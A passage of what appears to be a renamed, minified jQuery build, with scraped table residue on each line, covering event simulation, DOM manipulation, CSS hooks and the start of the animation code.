bQ._data(i, "submit", true) | |
} | |
}) | |
}, | |
postDispatch: function(i) { | |
if (i._submitBubble) { | |
delete i._submitBubble; | |
if (this.parentNode && !i.isTrigger) { | |
bQ.event.simulate("submit", this.parentNode, i) | |
} | |
} | |
}, | |
teardown: function() { | |
if (bQ.nodeName(this, "form")) { | |
return false | |
} | |
bQ.event.remove(this, "._submit") | |
} | |
} | |
} | |
if (!G.change) { | |
bQ.event.special.change = { | |
setup: function() { | |
if (bO.test(this.nodeName)) { | |
if (this.type === "checkbox" || this.type === "radio") { | |
bQ.event.add(this, "propertychange._change", function(i) { | |
if (i.originalEvent.propertyName === "checked") { | |
this._justChanged = true | |
} | |
}); | |
bQ.event.add(this, "click._change", function(i) { | |
if (this._justChanged && !i.isTrigger) { | |
this._justChanged = false | |
} | |
bQ.event.simulate("change", this, i) | |
}) | |
} | |
return false | |
} | |
bQ.event.add(this, "beforeactivate._change", function(ce) { | |
var i = ce.target; | |
if (bO.test(i.nodeName) && !bQ._data(i, "change")) { | |
bQ.event.add(i, "change._change", function(cf) { | |
if (this.parentNode && !cf.isSimulated && !cf.isTrigger) { | |
bQ.event.simulate("change", this.parentNode, cf) | |
} | |
}); | |
bQ._data(i, "change", true) | |
} | |
}) | |
}, | |
handle: function(ce) { | |
var i = ce.target; | |
if (this !== i || ce.isSimulated || ce.isTrigger || (i.type !== "radio" && i.type !== "checkbox")) { | |
return ce.handleObj.handler.apply(this, arguments) | |
} | |
}, | |
teardown: function() { | |
bQ.event.remove(this, "._change"); | |
return !bO.test(this.nodeName) | |
} | |
} | |
} | |
if (!G.focusin) { | |
bQ.each({ | |
focus: "focusin", | |
blur: "focusout" | |
}, function(cf, i) { | |
var ce = function(cg) { | |
bQ.event.simulate(i, cg.target, bQ.event.fix(cg)) | |
}; | |
bQ.event.special[i] = { | |
setup: function() { | |
var ch = this.ownerDocument || this, | |
cg = bQ._data(ch, i); | |
if (!cg) { | |
ch.addEventListener(cf, ce, true) | |
} | |
bQ._data(ch, i, (cg || 0) + 1) | |
}, | |
teardown: function() { | |
var ch = this.ownerDocument || this, | |
cg = bQ._data(ch, i) - 1; | |
if (!cg) { | |
ch.removeEventListener(cf, ce, true); | |
bQ._removeData(ch, i) | |
} else { | |
bQ._data(ch, i, cg) | |
} | |
} | |
} | |
}) | |
} | |
bQ.fn.extend({ | |
on: function(ce, i, cg, cf) { | |
return bq(this, ce, i, cg, cf) | |
}, | |
one: function(ce, i, cg, cf) { | |
return bq(this, ce, i, cg, cf, 1) | |
}, | |
off: function(cf, i, ch) { | |
var ce, cg; | |
if (cf && cf.preventDefault && cf.handleObj) { | |
ce = cf.handleObj; | |
bQ(cf.delegateTarget).off(ce.namespace ? ce.origType + "." + ce.namespace : ce.origType, ce.selector, ce.handler); | |
return this | |
} | |
if (typeof cf === "object") { | |
for (cg in cf) { | |
this.off(cg, i, cf[cg]) | |
} | |
return this | |
} | |
if (i === false || typeof i === "function") { | |
ch = i; | |
i = undefined | |
} | |
if (ch === false) { | |
ch = ai | |
} | |
return this.each(function() { | |
bQ.event.remove(this, cf, ch, i) | |
}) | |
}, | |
trigger: function(i, ce) { | |
return this.each(function() { | |
bQ.event.trigger(i, ce, this) | |
}) | |
}, | |
triggerHandler: function(i, cf) { | |
var ce = this[0]; | |
if (ce) { | |
return bQ.event.trigger(i, cf, ce, true) | |
} | |
} | |
}); | |
var aL = / jQuery\d+="(?:null|\d+)"/g, | |
U = new RegExp("<(?:" + d + ")[\\s/>]", "i"), | |
aO = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi, | |
aw = /<script|<style|<link/i, | |
b5 = /checked\s*(?:[^=]|=\s*.checked.)/i, | |
aA = /^true\/(.*)/, | |
aV = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g, | |
a1 = D(m), | |
j = a1.appendChild(m.createElement("div")); | |
function bb(ce, i) { | |
return bQ.nodeName(ce, "table") && bQ.nodeName(i.nodeType !== 11 ? i : i.firstChild, "tr") ? ce.getElementsByTagName("tbody")[0] || ce.appendChild(ce.ownerDocument.createElement("tbody")) : ce | |
} | |
function v(i) { | |
i.type = (bQ.find.attr(i, "type") !== null) + "/" + i.type; | |
return i | |
} | |
function bn(ce) { | |
var i = aA.exec(ce.type); | |
if (i) { | |
ce.type = i[1] | |
} else { | |
ce.removeAttribute("type") | |
} | |
return ce | |
} | |
function aB(cl, cf) { | |
if (cf.nodeType !== 1 || !bQ.hasData(cl)) { | |
return | |
} | |
var ci, ch, ce, ck = bQ._data(cl), | |
cj = bQ._data(cf, ck), | |
cg = ck.events; | |
if (cg) { | |
delete cj.handle; | |
cj.events = {}; | |
for (ci in cg) { | |
for (ch = 0, ce = cg[ci].length; ch < ce; ch++) { | |
bQ.event.add(cf, ci, cg[ci][ch]) | |
} | |
} | |
} | |
if (cj.data) { | |
cj.data = bQ.extend({}, cj.data) | |
} | |
} | |
function ac(cg, i) { | |
var ch, cf, ce; | |
if (i.nodeType !== 1) { | |
return | |
} | |
ch = i.nodeName.toLowerCase(); | |
if (!G.noCloneEvent && i[bQ.expando]) { | |
ce = bQ._data(i); | |
for (cf in ce.events) { | |
bQ.removeEvent(i, cf, ce.handle) | |
} | |
i.removeAttribute(bQ.expando) | |
} | |
if (ch === "script" && i.text !== cg.text) { | |
v(i).text = cg.text; | |
bn(i) | |
} else { | |
if (ch === "object") { | |
if (i.parentNode) { | |
i.outerHTML = cg.outerHTML | |
} | |
if (G.html5Clone && (cg.innerHTML && !bQ.trim(i.innerHTML))) { | |
i.innerHTML = cg.innerHTML | |
} | |
} else { | |
if (ch === "input" && aT.test(cg.type)) { | |
i.defaultChecked = i.checked = cg.checked; | |
if (i.value !== cg.value) { | |
i.value = cg.value | |
} | |
} else { | |
if (ch === "option") { | |
i.defaultSelected = i.selected = cg.defaultSelected | |
} else { | |
if (ch === "input" || ch === "textarea") { | |
i.defaultValue = cg.defaultValue | |
} | |
} | |
} | |
} | |
} | |
} | |
function K(cm, co, cs, ch) { | |
co = aI.apply([], co); | |
var cl, cg, ce, cj, cq, cn, ck = 0, | |
ci = cm.length, | |
cr = ci - 1, | |
cp = co[0], | |
cf = bQ.isFunction(cp); | |
if (cf || (ci > 1 && typeof cp === "string" && !G.checkClone && b5.test(cp))) { | |
return cm.each(function(ct) { | |
var i = cm.eq(ct); | |
if (cf) { | |
co[0] = cp.call(this, ct, i.html()) | |
} | |
K(i, co, cs, ch) | |
}) | |
} | |
if (ci) { | |
cn = C(co, cm[0].ownerDocument, false, cm, ch); | |
cl = cn.firstChild; | |
if (cn.childNodes.length === 1) { | |
cn = cl | |
} | |
if (cl || ch) { | |
cj = bQ.map(k(cn, "script"), v); | |
ce = cj.length; | |
for (; ck < ci; ck++) { | |
cg = cn; | |
if (ck !== cr) { | |
cg = bQ.clone(cg, true, true); | |
if (ce) { | |
bQ.merge(cj, k(cg, "script")) | |
} | |
} | |
cs.call(cm[ck], cg, ck) | |
} | |
if (ce) { | |
cq = cj[cj.length - 1].ownerDocument; | |
bQ.map(cj, bn); | |
for (ck = 0; ck < ce; ck++) { | |
cg = cj[ck]; | |
if (bJ.test(cg.type || "") && !bQ._data(cg, "globalEval") && bQ.contains(cq, cg)) { | |
if (cg.src) { | |
if (bQ._evalUrl) { | |
bQ._evalUrl(cg.src) | |
} | |
} else { | |
bQ.globalEval((cg.text || cg.textContent || cg.innerHTML || "").replace(aV, "")) | |
} | |
} | |
} | |
} | |
cn = cl = null | |
} | |
} | |
return cm | |
} | |
function M(ci, ce, cj) { | |
var ch, cf = ce ? bQ.filter(ce, ci) : ci, | |
cg = 0; | |
for (; | |
(ch = cf[cg]) != null; cg++) { | |
if (!cj && ch.nodeType === 1) { | |
bQ.cleanData(k(ch)) | |
} | |
if (ch.parentNode) { | |
if (cj && bQ.contains(ch.ownerDocument, ch)) { | |
bC(k(ch, "script")) | |
} | |
ch.parentNode.removeChild(ch) | |
} | |
} | |
return ci | |
} | |
bQ.extend({ | |
htmlPrefilter: function(i) { | |
return i.replace(aO, "<$1></$2>") | |
}, | |
clone: function(cf, ch, ce) { | |
var cj, cg, cm, ci, ck, cl = bQ.contains(cf.ownerDocument, cf); | |
if (G.html5Clone || bQ.isXMLDoc(cf) || !U.test("<" + cf.nodeName + ">")) { | |
cm = cf.cloneNode(true) | |
} else { | |
j.innerHTML = cf.outerHTML; | |
j.removeChild(cm = j.firstChild) | |
} | |
if ((!G.noCloneEvent || !G.noCloneChecked) && (cf.nodeType === 1 || cf.nodeType === 11) && !bQ.isXMLDoc(cf)) { | |
cj = k(cm); | |
ck = k(cf); | |
for (ci = 0; | |
(cg = ck[ci]) != null; ++ci) { | |
if (cj[ci]) { | |
ac(cg, cj[ci]) | |
} | |
} | |
} | |
if (ch) { | |
if (ce) { | |
ck = ck || k(cf); | |
cj = cj || k(cm); | |
for (ci = 0; | |
(cg = ck[ci]) != null; ci++) { | |
aB(cg, cj[ci]) | |
} | |
} else { | |
aB(cf, cm) | |
} | |
} | |
cj = k(cm, "script"); | |
if (cj.length > 0) { | |
bC(cj, !cl && k(cf, "script")) | |
} | |
cj = ck = cg = null; | |
return cm | |
}, | |
cleanData: function(cf, cn) { | |
var ch, cm, cg, cj, ck = 0, | |
co = bQ.expando, | |
ce = bQ.cache, | |
ci = G.attributes, | |
cl = bQ.event.special; | |
for (; | |
(ch = cf[ck]) != null; ck++) { | |
if (cn || W(ch)) { | |
cg = ch[co]; | |
cj = cg && ce[cg]; | |
if (cj) { | |
if (cj.events) { | |
for (cm in cj.events) { | |
if (cl[cm]) { | |
bQ.event.remove(ch, cm) | |
} else { | |
bQ.removeEvent(ch, cm, cj.handle) | |
} | |
} | |
} | |
if (ce[cg]) { | |
delete ce[cg]; | |
if (!ci && typeof ch.removeAttribute !== "undefined") { | |
ch.removeAttribute(co) | |
} else { | |
ch[co] = undefined | |
} | |
aX.push(cg) | |
} | |
} | |
} | |
} | |
} | |
}); | |
bQ.fn.extend({ | |
domManip: K, | |
detach: function(i) { | |
return M(this, i, true) | |
}, | |
remove: function(i) { | |
return M(this, i) | |
}, | |
text: function(i) { | |
return aK(this, function(ce) { | |
return ce === undefined ? bQ.text(this) : this.empty().append((this[0] && this[0].ownerDocument || m).createTextNode(ce)) | |
}, null, i, arguments.length) | |
}, | |
append: function() { | |
return K(this, arguments, function(i) { | |
if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) { | |
var ce = bb(this, i); | |
ce.appendChild(i) | |
} | |
}) | |
}, | |
prepend: function() { | |
return K(this, arguments, function(i) { | |
if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) { | |
var ce = bb(this, i); | |
ce.insertBefore(i, ce.firstChild) | |
} | |
}) | |
}, | |
before: function() { | |
return K(this, arguments, function(i) { | |
if (this.parentNode) { | |
this.parentNode.insertBefore(i, this) | |
} | |
}) | |
}, | |
after: function() { | |
return K(this, arguments, function(i) { | |
if (this.parentNode) { | |
this.parentNode.insertBefore(i, this.nextSibling) | |
} | |
}) | |
}, | |
empty: function() { | |
var cf, ce = 0; | |
for (; | |
(cf = this[ce]) != null; ce++) { | |
if (cf.nodeType === 1) { | |
bQ.cleanData(k(cf, false)) | |
} | |
while (cf.firstChild) { | |
cf.removeChild(cf.firstChild) | |
} | |
if (cf.options && bQ.nodeName(cf, "select")) { | |
cf.options.length = 0 | |
} | |
} | |
return this | |
}, | |
clone: function(ce, i) { | |
ce = ce == null ? false : ce; | |
i = i == null ? ce : i; | |
return this.map(function() { | |
return bQ.clone(this, ce, i) | |
}) | |
}, | |
html: function(i) { | |
return aK(this, function(ch) { | |
var cg = this[0] || {}, | |
cf = 0, | |
ce = this.length; | |
if (ch === undefined) { | |
return cg.nodeType === 1 ? cg.innerHTML.replace(aL, "") : undefined | |
} | |
if (typeof ch === "string" && !aw.test(ch) && (G.htmlSerialize || !U.test(ch)) && (G.leadingWhitespace || !cd.test(ch)) && !ae[(n.exec(ch) || ["", ""])[1].toLowerCase()]) { | |
ch = bQ.htmlPrefilter(ch); | |
try { | |
for (; cf < ce; cf++) { | |
cg = this[cf] || {}; | |
if (cg.nodeType === 1) { | |
bQ.cleanData(k(cg, false)); | |
cg.innerHTML = ch | |
} | |
} | |
cg = 0 | |
} catch (ci) {} | |
} | |
if (cg) { | |
this.empty().append(ch) | |
} | |
}, null, i, arguments.length) | |
}, | |
replaceWith: function() { | |
var i = []; | |
return K(this, arguments, function(cf) { | |
var ce = this.parentNode; | |
if (bQ.inArray(this, i) < 0) { | |
bQ.cleanData(k(this)); | |
if (ce) { | |
ce.replaceChild(cf, this) | |
} | |
} | |
}, i) | |
} | |
}); | |
bQ.each({ | |
appendTo: "append", | |
prependTo: "prepend", | |
insertBefore: "before", | |
insertAfter: "after", | |
replaceAll: "replaceWith" | |
}, function(i, ce) { | |
bQ.fn[i] = function(cf) { | |
var cg, ci = 0, | |
ch = [], | |
ck = bQ(cf), | |
cj = ck.length - 1; | |
for (; ci <= cj; ci++) { | |
cg = ci === cj ? this : this.clone(true); | |
bQ(ck[ci])[ce](cg); | |
x.apply(ch, cg.get()) | |
} | |
return this.pushStack(ch) | |
} | |
}); | |
var aP, bt = { | |
HTML: "block", | |
BODY: "block" | |
}; | |
function bc(i, cg) { | |
var ce = bQ(cg.createElement(i)).appendTo(cg.body), | |
cf = bQ.css(ce[0], "display"); | |
ce.detach(); | |
return cf | |
} | |
function a9(cf) { | |
var ce = m, | |
i = bt[cf]; | |
if (!i) { | |
i = bc(cf, ce); | |
if (i === "none" || !i) { | |
aP = (aP || bQ("<iframe frameborder='0' width='0' height='0'/>")).appendTo(ce.documentElement); | |
ce = (aP[0].contentWindow || aP[0].contentDocument).document; | |
ce.write(); | |
ce.close(); | |
i = bc(cf, ce); | |
aP.detach() | |
} | |
bt[cf] = i | |
} | |
return i | |
} | |
var a8 = (/^margin/); | |
var ah = new RegExp("^(" + aM + ")(?!px)[a-z%]+$", "i"); | |
var L = function(ci, ch, cj, cg) { | |
var cf, ce, i = {}; | |
for (ce in ch) { | |
i[ce] = ci.style[ce]; | |
ci.style[ce] = ch[ce] | |
} | |
cf = cj.apply(ci, cg || []); | |
for (ce in ch) { | |
ci.style[ce] = i[ce] | |
} | |
return cf | |
}; | |
var b2 = m.documentElement; | |
(function() { | |
var ci, cf, cj, cl, ck, cg, ce = m.createElement("div"), | |
i = m.createElement("div"); | |
if (!i.style) { | |
return | |
} | |
i.style.cssText = "float:left;opacity:.5"; | |
G.opacity = i.style.opacity === "0.5"; | |
G.cssFloat = !!i.style.cssFloat; | |
i.style.backgroundClip = "content-box"; | |
i.cloneNode(true).style.backgroundClip = ""; | |
G.clearCloneStyle = i.style.backgroundClip === "content-box"; | |
ce = m.createElement("div"); | |
ce.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute"; | |
i.innerHTML = ""; | |
ce.appendChild(i); | |
G.boxSizing = i.style.boxSizing === "" || i.style.MozBoxSizing === "" || i.style.WebkitBoxSizing === ""; | |
bQ.extend(G, { | |
reliableHiddenOffsets: function() { | |
if (ci == null) { | |
ch() | |
} | |
return cl | |
}, | |
boxSizingReliable: function() { | |
if (ci == null) { | |
ch() | |
} | |
return cj | |
}, | |
pixelMarginRight: function() { | |
if (ci == null) { | |
ch() | |
} | |
return cf | |
}, | |
pixelPosition: function() { | |
if (ci == null) { | |
ch() | |
} | |
return ci | |
}, | |
reliableMarginRight: function() { | |
if (ci == null) { | |
ch() | |
} | |
return ck | |
}, | |
reliableMarginLeft: function() { | |
if (ci == null) { | |
ch() | |
} | |
return cg | |
} | |
}); | |
function ch() { | |
var cn, cm, co = m.documentElement; | |
co.appendChild(ce); | |
i.style.cssText = "-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%"; | |
ci = cj = cg = false; | |
cf = ck = true; | |
if (bd.getComputedStyle) { | |
cm = bd.getComputedStyle(i); | |
ci = (cm || {}).top !== "1%"; | |
cg = (cm || {}).marginLeft === "2px"; | |
cj = (cm || { | |
width: "4px" | |
}).width === "4px"; | |
i.style.marginRight = "50%"; | |
cf = (cm || { | |
marginRight: "4px" | |
}).marginRight === "4px"; | |
cn = i.appendChild(m.createElement("div")); | |
cn.style.cssText = i.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0"; | |
cn.style.marginRight = cn.style.width = "0"; | |
i.style.width = "1px"; | |
ck = !parseFloat((bd.getComputedStyle(cn) || {}).marginRight); | |
i.removeChild(cn) | |
} | |
i.style.display = "none"; | |
cl = i.getClientRects().length === 0; | |
if (cl) { | |
i.style.display = ""; | |
i.innerHTML = "<table><tr><td></td><td>t</td></tr></table>"; | |
i.childNodes[0].style.borderCollapse = "separate"; | |
cn = i.getElementsByTagName("td"); | |
cn[0].style.cssText = "margin:0;border:0;padding:0;display:none"; | |
cl = cn[0].offsetHeight === 0; | |
if (cl) { | |
cn[0].style.display = ""; | |
cn[1].style.display = "none"; | |
cl = cn[0].offsetHeight === 0 | |
} | |
} | |
co.removeChild(ce) | |
} | |
})(); | |
var by, J, bw = /^(top|right|bottom|left)$/; | |
if (bd.getComputedStyle) { | |
by = function(ce) { | |
var i = ce.ownerDocument.defaultView; | |
if (!i || !i.opener) { | |
i = bd | |
} | |
return i.getComputedStyle(ce) | |
}; | |
J = function(ck, ce, cj) { | |
var ch, cg, ci, i, cf = ck.style; | |
cj = cj || by(ck); | |
i = cj ? cj.getPropertyValue(ce) || cj[ce] : undefined; | |
if ((i === "" || i === undefined) && !bQ.contains(ck.ownerDocument, ck)) { | |
i = bQ.style(ck, ce) | |
} | |
if (cj) { | |
if (!G.pixelMarginRight() && ah.test(i) && a8.test(ce)) { | |
ch = cf.width; | |
cg = cf.minWidth; | |
ci = cf.maxWidth; | |
cf.minWidth = cf.maxWidth = cf.width = i; | |
i = cj.width; | |
cf.width = ch; | |
cf.minWidth = cg; | |
cf.maxWidth = ci | |
} | |
} | |
return i === undefined ? i : i + "" | |
} | |
} else { | |
if (b2.currentStyle) { | |
by = function(i) { | |
return i.currentStyle | |
}; | |
J = function(cj, cg, ci) { | |
var ck, ce, i, cf, ch = cj.style; | |
ci = ci || by(cj); | |
cf = ci ? ci[cg] : undefined; | |
if (cf == null && ch && ch[cg]) { | |
cf = ch[cg] | |
} | |
if (ah.test(cf) && !bw.test(cg)) { | |
ck = ch.left; | |
ce = cj.runtimeStyle; | |
i = ce && ce.left; | |
if (i) { | |
ce.left = cj.currentStyle.left | |
} | |
ch.left = cg === "fontSize" ? "1em" : cf; | |
cf = ch.pixelLeft + "px"; | |
ch.left = ck; | |
if (i) { | |
ce.left = i | |
} | |
} | |
return cf === undefined ? cf : cf + "" || "auto" | |
} | |
} | |
} | |
function bf(i, ce) { | |
return { | |
get: function() { | |
if (i()) { | |
delete this.get; | |
return | |
} | |
return (this.get = ce).apply(this, arguments) | |
} | |
} | |
} | |
var br = /alpha\([^)]*\)/i, | |
a3 = /opacity\s*=\s*([^)]*)/i, | |
N = /^(none|table(?!-c[ea]).+)/, | |
bj = new RegExp("^(" + aM + ")(.*)$", "i"), | |
bm = { | |
position: "absolute", | |
visibility: "hidden", | |
display: "block" | |
}, | |
bL = { | |
letterSpacing: "0", | |
fontWeight: "400" | |
}, | |
aF = ["Webkit", "O", "Moz", "ms"], | |
bZ = m.createElement("div").style; | |
function c(ce) { | |
if (ce in bZ) { | |
return ce | |
} | |
var cg = ce.charAt(0).toUpperCase() + ce.slice(1), | |
cf = aF.length; | |
while (cf--) { | |
ce = aF[cf] + cg; | |
if (ce in bZ) { | |
return ce | |
} | |
} | |
} | |
function r(cj, i) { | |
var ck, ch, ci, ce = [], | |
cf = 0, | |
cg = cj.length; | |
for (; cf < cg; cf++) { | |
ch = cj[cf]; | |
if (!ch.style) { | |
continue | |
} | |
ce[cf] = bQ._data(ch, "olddisplay"); | |
ck = ch.style.display; | |
if (i) { | |
if (!ce[cf] && ck === "none") { | |
ch.style.display = "" | |
} | |
if (ch.style.display === "" && ab(ch)) { | |
ce[cf] = bQ._data(ch, "olddisplay", a9(ch.nodeName)) | |
} | |
} else { | |
ci = ab(ch); | |
if (ck && ck !== "none" || !ci) { | |
bQ._data(ch, "olddisplay", ci ? ck : bQ.css(ch, "display")) | |
} | |
} | |
} | |
for (cf = 0; cf < cg; cf++) { | |
ch = cj[cf]; | |
if (!ch.style) { | |
continue | |
} | |
if (!i || ch.style.display === "none" || ch.style.display === "") { | |
ch.style.display = i ? ce[cf] || "" : "none" | |
} | |
} | |
return cj | |
} | |
function aU(i, cf, cg) { | |
var ce = bj.exec(cf); | |
return ce ? Math.max(0, ce[1] - (cg || 0)) + (ce[2] || "px") : cf | |
} | |
function aG(ci, cf, ce, ck, ch) { | |
var cg = ce === (ck ? "border" : "content") ? 4 : cf === "width" ? 1 : 0, | |
cj = 0; | |
for (; cg < 4; cg += 2) { | |
if (ce === "margin") { | |
cj += bQ.css(ci, ce + b1[cg], true, ch) | |
} | |
if (ck) { | |
if (ce === "content") { | |
cj -= bQ.css(ci, "padding" + b1[cg], true, ch) | |
} | |
if (ce !== "margin") { | |
cj -= bQ.css(ci, "border" + b1[cg] + "Width", true, ch) | |
} | |
} else { | |
cj += bQ.css(ci, "padding" + b1[cg], true, ch); | |
if (ce !== "padding") { | |
cj += bQ.css(ci, "border" + b1[cg] + "Width", true, ch) | |
} | |
} | |
} | |
return cj | |
} | |
function w(ch, ce, i) { | |
var cg = true, | |
ci = ce === "width" ? ch.offsetWidth : ch.offsetHeight, | |
cf = by(ch), | |
cj = G.boxSizing && bQ.css(ch, "boxSizing", false, cf) === "border-box"; | |
if (ci <= 0 || ci == null) { | |
ci = J(ch, ce, cf); | |
if (ci < 0 || ci == null) { | |
ci = ch.style[ce] | |
} | |
if (ah.test(ci)) { | |
return ci | |
} | |
cg = cj && (G.boxSizingReliable() || ci === ch.style[ce]); | |
ci = parseFloat(ci) || 0 | |
} | |
return (ci + aG(ch, ce, i || (cj ? "border" : "content"), cg, cf)) + "px" | |
} | |
bQ.extend({ | |
cssHooks: { | |
opacity: { | |
get: function(cf, ce) { | |
if (ce) { | |
var i = J(cf, "opacity"); | |
return i === "" ? "1" : i | |
} | |
} | |
} | |
}, | |
cssNumber: { | |
animationIterationCount: true, | |
columnCount: true, | |
fillOpacity: true, | |
flexGrow: true, | |
flexShrink: true, | |
fontWeight: true, | |
lineHeight: true, | |
opacity: true, | |
order: true, | |
orphans: true, | |
widows: true, | |
zIndex: true, | |
zoom: true | |
}, | |
cssProps: { | |
"float": G.cssFloat ? "cssFloat" : "styleFloat" | |
}, | |
style: function(cf, ce, cl, cg) { | |
if (!cf || cf.nodeType === 3 || cf.nodeType === 8 || !cf.style) { | |
return | |
} | |
var cj, ck, cm, ch = bQ.camelCase(ce), | |
i = cf.style; | |
ce = bQ.cssProps[ch] || (bQ.cssProps[ch] = c(ch) || ch); | |
cm = bQ.cssHooks[ce] || bQ.cssHooks[ch]; | |
if (cl !== undefined) { | |
ck = typeof cl; | |
if (ck === "string" && (cj = b7.exec(cl)) && cj[1]) { | |
cl = B(cf, ce, cj); | |
ck = "number" | |
} | |
if (cl == null || cl !== cl) { | |
return | |
} | |
if (ck === "number") { | |
cl += cj && cj[3] || (bQ.cssNumber[ch] ? "" : "px") | |
} | |
if (!G.clearCloneStyle && cl === "" && ce.indexOf("background") === 0) { | |
i[ce] = "inherit" | |
} | |
if (!cm || !("set" in cm) || (cl = cm.set(cf, cl, cg)) !== undefined) { | |
try { | |
i[ce] = cl | |
} catch (ci) {} | |
} | |
} else { | |
if (cm && "get" in cm && (cj = cm.get(cf, false, cg)) !== undefined) { | |
return cj | |
} | |
return i[ce] | |
} | |
}, | |
css: function(cj, ch, ce, ci) { | |
var cg, ck, i, cf = bQ.camelCase(ch); | |
ch = bQ.cssProps[cf] || (bQ.cssProps[cf] = c(cf) || cf); | |
i = bQ.cssHooks[ch] || bQ.cssHooks[cf]; | |
if (i && "get" in i) { | |
ck = i.get(cj, true, ce) | |
} | |
if (ck === undefined) { | |
ck = J(cj, ch, ci) | |
} | |
if (ck === "normal" && ch in bL) { | |
ck = bL[ch] | |
} | |
if (ce === "" || ce) { | |
cg = parseFloat(ck); | |
return ce === true || isFinite(cg) ? cg || 0 : ck | |
} | |
return ck | |
} | |
}); | |
bQ.each(["height", "width"], function(cf, ce) { | |
bQ.cssHooks[ce] = { | |
get: function(ch, cg, i) { | |
if (cg) { | |
return N.test(bQ.css(ch, "display")) && ch.offsetWidth === 0 ? L(ch, bm, function() { | |
return w(ch, ce, i) | |
}) : w(ch, ce, i) | |
} | |
}, | |
set: function(ch, ci, i) { | |
var cg = i && by(ch); | |
return aU(ch, ci, i ? aG(ch, ce, i, G.boxSizing && bQ.css(ch, "boxSizing", false, cg) === "border-box", cg) : 0) | |
} | |
} | |
}); | |
if (!G.opacity) { | |
bQ.cssHooks.opacity = { | |
get: function(ce, i) { | |
return a3.test((i && ce.currentStyle ? ce.currentStyle.filter : ce.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : i ? "1" : "" | |
}, | |
set: function(ch, ci) { | |
var cg = ch.style, | |
ce = ch.currentStyle, | |
i = bQ.isNumeric(ci) ? "alpha(opacity=" + ci * 100 + ")" : "", | |
cf = ce && ce.filter || cg.filter || ""; | |
cg.zoom = 1; | |
if ((ci >= 1 || ci === "") && bQ.trim(cf.replace(br, "")) === "" && cg.removeAttribute) { | |
cg.removeAttribute("filter"); | |
if (ci === "" || ce && !ce.filter) { | |
return | |
} | |
} | |
cg.filter = br.test(cf) ? cf.replace(br, i) : cf + " " + i | |
} | |
} | |
} | |
bQ.cssHooks.marginRight = bf(G.reliableMarginRight, function(ce, i) { | |
if (i) { | |
return L(ce, { | |
display: "inline-block" | |
}, J, [ce, "marginRight"]) | |
} | |
}); | |
bQ.cssHooks.marginLeft = bf(G.reliableMarginLeft, function(ce, i) { | |
if (i) { | |
return (parseFloat(J(ce, "marginLeft")) || (bQ.contains(ce.ownerDocument, ce) ? ce.getBoundingClientRect().left - L(ce, { | |
marginLeft: 0 | |
}, function() { | |
return ce.getBoundingClientRect().left | |
}) : 0)) + "px" | |
} | |
}); | |
bQ.each({ | |
margin: "", | |
padding: "", | |
border: "Width" | |
}, function(i, ce) { | |
bQ.cssHooks[i + ce] = { | |
expand: function(ch) { | |
var cg = 0, | |
cf = {}, | |
ci = typeof ch === "string" ? ch.split(" ") : [ch]; | |
for (; cg < 4; cg++) { | |
cf[i + b1[cg] + ce] = ci[cg] || ci[cg - 2] || ci[0] | |
} | |
return cf | |
} | |
}; | |
if (!a8.test(i)) { | |
bQ.cssHooks[i + ce].set = aU | |
} | |
}); | |
bQ.fn.extend({ | |
css: function(i, ce) { | |
return aK(this, function(cj, cg, ck) { | |
var ci, cf, cl = {}, | |
ch = 0; | |
if (bQ.isArray(cg)) { | |
ci = by(cj); | |
cf = cg.length; | |
for (; ch < cf; ch++) { | |
cl[cg[ch]] = bQ.css(cj, cg[ch], false, ci) | |
} | |
return cl | |
} | |
return ck !== undefined ? bQ.style(cj, cg, ck) : bQ.css(cj, cg) | |
}, i, ce, arguments.length > 1) | |
}, | |
show: function() { | |
return r(this, true) | |
}, | |
hide: function() { | |
return r(this) | |
}, | |
toggle: function(i) { | |
if (typeof i === "boolean") { | |
return i ? this.show() : this.hide() | |
} | |
return this.each(function() { | |
if (ab(this)) { | |
bQ(this).show() | |
} else { | |
bQ(this).hide() | |
} | |
}) | |
} | |
}); | |
function Q(cf, ce, ch, i, cg) { | |
return new Q.prototype.init(cf, ce, ch, i, cg) | |
} | |
bQ.Tween = Q; | |
Q.prototype = { | |
constructor: Q, | |
init: function(cg, ce, ci, i, ch, cf) { | |
this.elem = cg; | |
this.prop = ci; | |
this.easing = ch || bQ.easing._default; | |
this.options = ce; | |
this.start = this.now = this.cur(); | |
this.end = i; | |
this.unit = cf || (bQ.cssNumber[ci] ? "" : "px") | |
}, | |
cur: function() { | |
var i = Q.propHooks[this.prop]; | |
return i && i.get ? i.get(this) : Q.propHooks._default.get(this) | |
}, | |
run: function(cf) { | |
var ce, i = Q.propHooks[this.prop]; | |
if (this.options.duration) { | |
this.pos = ce = bQ.easing[this.easing](cf, this.options.duration * cf, 0, 1, this.options.duration) | |
} else { | |
this.pos = ce = cf | |
} | |
this.now = (this.end - this.start) * ce + this.start; | |
if (this.options.step) { | |
this.options.step.call(this.elem, this.now, this) | |
} | |
if (i && i.set) { | |
i.set(this) | |
} else { | |
Q.propHooks._default.set(this) | |
} | |
return this | |
} | |
}; | |
Q.prototype.init.prototype = Q.prototype; | |
Q.propHooks = { | |
_default: { | |
get: function(ce) { | |
var i; | |
if (ce.elem.nodeType !== 1 || ce.elem[ce.prop] != null && ce.elem.style[ce.prop] == null) { | |
return ce.elem[ce.prop] | |
} | |
i = bQ.css(ce.elem, ce.prop, ""); | |
return !i || i === "auto" ? 0 : i | |
}, | |
set: function(i) { | |
if (bQ.fx.step[i.prop]) { | |
bQ.fx.step[i.prop](i) | |
} else { | |
if (i.elem.nodeType === 1 && (i.elem.style[bQ.cssProps[i.prop]] != null || bQ.cssHooks[i.prop])) { | |
bQ.style(i.elem, i.prop, i.now + i.unit) | |
} else { | |
i.elem[i.prop] = i.now | |
} | |
} | |
} | |
} | |
}; | |
Q.propHooks.scrollTop = Q.propHooks.scrollLeft = { | |
set: function(i) { | |
if (i.elem.nodeType && i.elem.parentNode) { | |
i.elem[i.prop] = i.now | |
} | |
} | |
}; | |
bQ.easing = { | |
linear: function(i) { | |
return i | |
}, | |
